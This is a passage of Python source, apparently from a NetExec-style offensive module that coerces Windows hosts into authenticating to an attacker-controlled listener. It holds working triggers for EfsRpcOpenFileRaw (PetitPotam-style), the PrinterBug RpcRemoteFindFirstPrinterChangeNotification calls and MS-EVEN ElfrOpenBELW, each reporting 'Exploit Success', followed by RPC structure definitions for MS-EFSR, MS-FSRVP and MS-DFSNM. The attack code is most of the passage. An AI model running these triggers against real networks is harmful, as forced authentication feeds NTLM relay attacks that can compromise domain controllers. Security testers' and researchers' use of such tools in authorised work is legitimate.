elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcOpenFileRaw!")
|
|
try:
|
|
request = EfsRpcOpenFileRaw()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcOpenFileRaw Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcOpenFileRaw")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return False
|
|
|
|
|
|
class PrinterBugTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"spoolss": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]",
|
|
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
|
"port": 445
|
|
},
|
|
"[dcerpc]": {
|
|
"stringBinding": NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
|
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
|
"port": None
|
|
}
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
if binding_params[pipe]["port"] is not None:
|
|
rpctransport.set_dport(binding_params[pipe]["port"])
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_RPRN"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, target, always_continue, pipe):
|
|
try:
|
|
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
|
except Exception as e:
|
|
if str(e).find("Broken pipe") >= 0:
|
|
# The connection timed-out. Let's try to bring it back next round
|
|
self.context.log.debug("Connection failed - skipping host!")
|
|
return None
|
|
elif str(e).upper().find("ACCESS_DENIED"):
|
|
# We're not admin, bye
|
|
self.context.log.debug("Access denied - RPC call was denied")
|
|
return None
|
|
self.context.log.debug("Got Handle")
|
|
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotificationEx!")
|
|
|
|
try:
|
|
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
|
|
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
|
request["hPrinter"] = resp["pHandle"]
|
|
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
|
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
|
request["fdwOptions"] = 0x00000000
|
|
request["dwPrinterLocal"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
|
|
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotificationEx Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotificationEx")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChangeNotification!")
|
|
try:
|
|
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00")
|
|
except Exception as e:
|
|
if str(e).find("Broken pipe") >= 0:
|
|
# The connection timed-out. Let's try to bring it back next round
|
|
self.context.log.debug("Connection failed - skipping host!")
|
|
return None
|
|
elif str(e).upper().find("ACCESS_DENIED"):
|
|
# We're not admin, bye
|
|
self.context.log.debug("Access denied - RPC call was denied")
|
|
return None
|
|
|
|
self.context.log.debug("Got Handle")
|
|
try:
|
|
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
|
|
request = RpcRemoteFindFirstPrinterChangeNotification()
|
|
request["hPrinter"] = resp["pHandle"]
|
|
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
|
request["pszLocalMachine"] = f"\\\\{listener}\x00"
|
|
request["fdwOptions"] = 0x00000000
|
|
request["dwPrinterLocal"] = 0
|
|
request["cbBuffer"] = NULL
|
|
request["pBuffer"] = NULL
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("RPC_S_SERVER_UNAVAILABLE") >= 0:
|
|
self.context.log.debug("RpcRemoteFindFirstPrinterChangeNotification Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\RpcRemoteFindFirstPrinterChangeNotification")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class MSEvenTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"eventlog": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]",
|
|
"MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EVEN"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending ElfrOpenBELW!")
|
|
try:
|
|
request = even.ElfrOpenBELW()
|
|
request["UNCServerName"] = NULL # '%s\x00' % listener
|
|
request["BackupFileName"] = f"\\??\\UNC\\{listener}\\abcdefgh\\aa"
|
|
request["MajorVersion"] = 1
|
|
request["MinorVersion"] = 1
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("STATUS_OBJECT_PATH_NOT_FOUND") >= 0 or str(e).find("STATUS_CONNECTION_DISCONNECTED") >= 0:
|
|
self.context.log.debug("ElfrOpenBELW Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\ElfrOpenBELW")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("abstract_syntax_not_supported") >= 0: # not vulnerable
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class IsPathShadowCopied(NDRCALL):
|
|
"""Structure to make the RPC call to IsPathShadowCopied() in MS-FSRVP Protocol"""
|
|
opnum = 9
|
|
structure = (
|
|
("ShareName", WSTR), # Type: LPWSTR
|
|
)
|
|
|
|
|
|
class IsPathShadowCopiedResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to IsPathShadowCopied() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
structure = ()
|
|
|
|
|
|
class IsPathSupported(NDRCALL):
|
|
"""Structure to make the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
opnum = 8
|
|
structure = (
|
|
("ShareName", WSTR), # Type: LPWSTR
|
|
)
|
|
|
|
|
|
class IsPathSupportedResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to IsPathSupported() in [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)"""
|
|
structure = ()
|
|
|
|
|
|
class PRINTER_HANDLE(NDRSTRUCT):
|
|
structure = (
|
|
("Data", '20s=b""'),
|
|
)
|
|
|
|
def getAlignment(self):
|
|
if self._isNDR64 is True:
|
|
return 8
|
|
else:
|
|
return 4
|
|
|
|
|
|
class USHORT_ARRAY(NDRUniConformantArray):
|
|
item = "<H"
|
|
|
|
|
|
class PUSHORT_ARRAY(NDRPOINTER):
|
|
referent = (
|
|
("Data", USHORT_ARRAY),
|
|
)
|
|
|
|
|
|
class RPC_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):
|
|
structure = (
|
|
("Type", USHORT),
|
|
("Reserved0", USHORT),
|
|
("Reserved1", DWORD),
|
|
("Reserved2", DWORD),
|
|
("Count", DWORD),
|
|
("pFields", PUSHORT_ARRAY),
|
|
)
|
|
|
|
|
|
class PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):
|
|
referent = (
|
|
("Data", RPC_V2_NOTIFY_OPTIONS_TYPE),
|
|
)
|
|
|
|
|
|
class RPC_V2_NOTIFY_OPTIONS(NDRSTRUCT):
|
|
structure = (
|
|
("Version", DWORD),
|
|
("Reserved", DWORD),
|
|
("Count", DWORD),
|
|
("pTypes", PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),
|
|
)
|
|
|
|
|
|
class PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):
|
|
referent = (
|
|
("Data", RPC_V2_NOTIFY_OPTIONS),
|
|
)
|
|
|
|
|
|
class RpcRemoteFindFirstPrinterChangeNotification(NDRCALL):
|
|
opnum = 62
|
|
structure = (
|
|
("hPrinter", PRINTER_HANDLE),
|
|
("fdwFlags", DWORD),
|
|
("fdwOptions", DWORD),
|
|
("pszLocalMachine", LPWSTR),
|
|
("dwPrinterLocal", DWORD),
|
|
("cbBuffer", DWORD),
|
|
("pBuffer", LPBYTE),
|
|
)
|
|
|
|
|
|
class RpcRemoteFindFirstPrinterChangeNotificationResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcOpenFileRaw(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcOpenFileRaw() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 0
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("Flags", LONG), # Type: long
|
|
)
|
|
|
|
|
|
class EfsRpcOpenFileRawResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcOpenFileRaw() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcEncryptFileSrv(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcEncryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 4
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EFS_HASH_BLOB(NDRSTRUCT):
|
|
structure = (
|
|
("Data", DWORD),
|
|
("cbData", PCHAR),
|
|
)
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
|
structure = (
|
|
("Lenght", DWORD),
|
|
("SID", RPC_SID),
|
|
("Hash", EFS_HASH_BLOB),
|
|
("Display", LPWSTR),
|
|
)
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
|
structure = (
|
|
("nUsers", DWORD),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcAddUsersToFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/afd56d24-3732-4477-b5cf-44cc33848d85)"""
|
|
opnum = 9
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST)
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcAddUsersToFileEx(NDRCALL):
|
|
opnum = 15
|
|
structure = (
|
|
("dwFlags", DWORD), # Type: DWORD
|
|
# Accroding to this page: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/d36df703-edc9-4482-87b7-d05c7783d65e
|
|
# Reserved must be set to NULL
|
|
("Reserved", NDRPOINTERNULL), # Type: NDRPOINTERNULL *
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("EncryptionCertificates", ENCRYPTION_CERTIFICATE_LIST), # Type: ENCRYPTION_CERTIFICATE_LIST *
|
|
)
|
|
|
|
|
|
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class EFS_RPC_BLOB(NDRSTRUCT):
|
|
structure = (
|
|
("Data", DWORD),
|
|
("cbData", PCHAR),
|
|
)
|
|
|
|
|
|
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcDuplicateEncryptionInfoFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 13
|
|
structure = (
|
|
("SrcFileName", WSTR), # Type: wchar_t *
|
|
("DestFileName", WSTR), # Type: wchar_t *
|
|
("dwCreationDisposition", DWORD), # Type: DWORD
|
|
("dwAttributes", DWORD), # Type: DWORD
|
|
("RelativeSD", EFS_RPC_BLOB), # Type: EFS_RPC_BLOB *
|
|
("bInheritHandle", BOOL), # Type: BOOL
|
|
)
|
|
|
|
|
|
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDuplicateEncryptionInfoFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcEncryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcFileKeyInfo(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcFileKeyInfo() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 12
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("InfoClass", DWORD) # Type: DWORD
|
|
)
|
|
|
|
|
|
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcFileKeyInfo() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 7
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcQueryUsersOnFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcQueryUsersOnFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 6
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
)
|
|
|
|
|
|
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcQueryUsersOnFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class EfsRpcDecryptFileSrv(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
opnum = 5
|
|
structure = (
|
|
("FileName", WSTR), # Type: wchar_t *
|
|
("OpenFlag", ULONG), # Type: unsigned
|
|
)
|
|
|
|
|
|
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcDecryptFileSrv() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
|
align = 1
|
|
structure = (
|
|
("Cert", DWORD),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH),
|
|
)
|
|
|
|
|
|
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
|
"""Structure to make the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/28609dad-5fa5-4af9-9382-18d40e3e9dec)"""
|
|
opnum = 8
|
|
structure = (
|
|
("FileName", WSTR),
|
|
("Users", ENCRYPTION_CERTIFICATE_HASH_LIST)
|
|
)
|
|
|
|
|
|
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsManagerInitialize(NDRCALL):
|
|
opnum = 14
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("Flags", DWORD), # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsManagerInitializeResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddStdRoot(NDRCALL):
|
|
"""Structure to make the RPC call to NetrDfsAddStdRoot() in MS-DFSNM Protocol"""
|
|
opnum = 12
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("Comment", WSTR), # Type: WCHAR *
|
|
("ApiFlags", DWORD), # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsAddStdRootResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to EfsRpcRemoveUsersFromFile() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)"""
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsRemoveStdRoot(NDRCALL):
|
|
"""Structure to make the RPC call to NetrDfsRemoveStdRoot() in MS-DFSNM Protocol"""
|
|
opnum = 13
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("ApiFlags", DWORD) # Type: DWORD
|
|
)
|
|
|
|
|
|
class NetrDfsRemoveStdRootResponse(NDRCALL):
|
|
"""Structure to parse the response of the RPC call to NetrDfsRemoveStdRoot() in MS-DFSNM Protocol"""
|
|
structure = ()
|